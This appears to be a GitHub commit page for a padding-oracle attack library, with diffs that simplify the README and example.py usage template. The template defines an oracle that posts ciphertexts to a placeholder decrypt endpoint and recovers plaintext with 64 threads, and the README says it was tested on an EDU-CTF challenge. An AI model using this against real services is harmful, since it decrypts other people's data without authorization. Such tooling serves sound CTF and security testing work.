Skip to content

Commit 6bd5f7f

Browse files
committed
Simplfy example
1 parent e8fd9b2 commit 6bd5f7f

File tree

2 files changed

+14
-22
lines changed

2 files changed

+14
-22
lines changed

README.md

Lines changed: 7 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -32,24 +32,20 @@ Tested on [0x09] Cathub Party from EDU-CTF:
3232
All you need is defining the **oracle function** to check whether the given cipher is correctly decrypted.
3333

3434
```python
35-
#!/usr/bin/env python3
36-
37-
import requests, logging
3835
from padding_oracle import *
3936

40-
url = 'http://some-website.com/decrypt'
37+
import requests
4138
sess = requests.Session()
4239

4340
def oracle(cipher):
44-
r = sess.post(url, data={'cipher': base64_encode(cipher)})
41+
r = sess.post('http://some-website.com/decrypt', data={'cipher': base64_encode(cipher)})
4542
assert 'SUCCESS' in r.text or 'FAILED' in r.text
4643
return 'SUCCESS' in r.text
4744

48-
cipher = b'[______IV______][___Block_1____][___Block_2____]'
49-
block_size = 16
50-
num_threads = 64
51-
52-
plaintext = padding_oracle(cipher, block_size, oracle, num_threads, log_level=logging.DEBUG)
45+
cipher = b'[ IV ][ Block 1 ][ Block 2 ]'
46+
plaintext = padding_oracle(cipher, # cipher bytes (required)
47+
16, # block size (required)
48+
oracle, # oracle function (required)
49+
64) # number of threads
5350

54-
print(remove_padding(plaintext).decode())
5551
```

example.py

Lines changed: 7 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,15 @@
1-
import requests
21
from padding_oracle import *
32

4-
url = 'http://some-website.com/decrypt'
3+
import requests
54
sess = requests.Session()
65

76
def oracle(cipher):
8-
r = sess.post(url, data={'cipher': base64_encode(cipher)})
7+
r = sess.post('http://some-website.com/decrypt', data={'cipher': base64_encode(cipher)})
98
assert 'SUCCESS' in r.text or 'FAILED' in r.text
109
return 'SUCCESS' in r.text
1110

12-
num_threads = 64
13-
14-
cipher = b'[______IV______][___Block_1____][___Block_2____]'
15-
block_size = 16
16-
17-
plaintext = padding_oracle(cipher, block_size, oracle, num_threads)
18-
19-
print(remove_padding(plaintext).decode())
11+
cipher = b'[ IV ][ Block 1 ][ Block 2 ]'
12+
plaintext = padding_oracle(cipher, # cipher bytes (required)
13+
16, # block size (required)
14+
oracle, # oracle function (required)
15+
64) # number of threads

0 commit comments

Comments
 (0)